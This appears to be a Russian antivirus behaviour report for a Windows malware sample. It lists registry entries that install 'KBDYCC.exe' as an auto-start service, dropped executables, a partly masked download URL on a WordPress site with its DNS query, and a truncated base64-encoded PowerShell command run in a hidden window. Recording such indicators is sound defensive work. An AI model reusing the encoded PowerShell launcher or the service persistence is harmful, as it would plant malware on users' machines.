Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDYCC] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDYCC] 'ImagePath' = '"%WINDIR%\SysWOW64\wscmisetup\KBDYCC.exe"'
- 'KBDYCC' "%WINDIR%\SysWOW64\wscmisetup\KBDYCC.exe"
- 'KBDYCC' %WINDIR%\SysWOW64\wscmisetup\KBDYCC.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAG0AcABiAGEAZgAzAD0AKAAoACcAUAAnACsAJwBlAHIAJwApACsAKAAnAGUAJwArACcAdwBrAHkAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAFIAUAByAG8ARgBJAEwAZQBcAH...
- %HOMEPATH%\wyhzobx\ca1jhtv\myf5gg.exe
- %HOMEPATH%\wyhzobx\ca1jhtv\myf5gg.exe в %WINDIR%\syswow64\wscmisetup\kbdycc.exe
- http://cr###men.com/WordPress_01/A/
- DNS ASK cr###men.com
- '%HOMEPATH%\wyhzobx\ca1jhtv\myf5gg.exe'
- '%WINDIR%\syswow64\wscmisetup\kbdycc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAG0AcABiAGEAZgAzAD0AKAAoACcAUAAnACsAJwBlAHIAJwApACsAKAAnAGUAJwArACcAdwBrAHkAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAFIAUAByAG8ARgBJAEwAZQBcAH...' (со скрытым окном)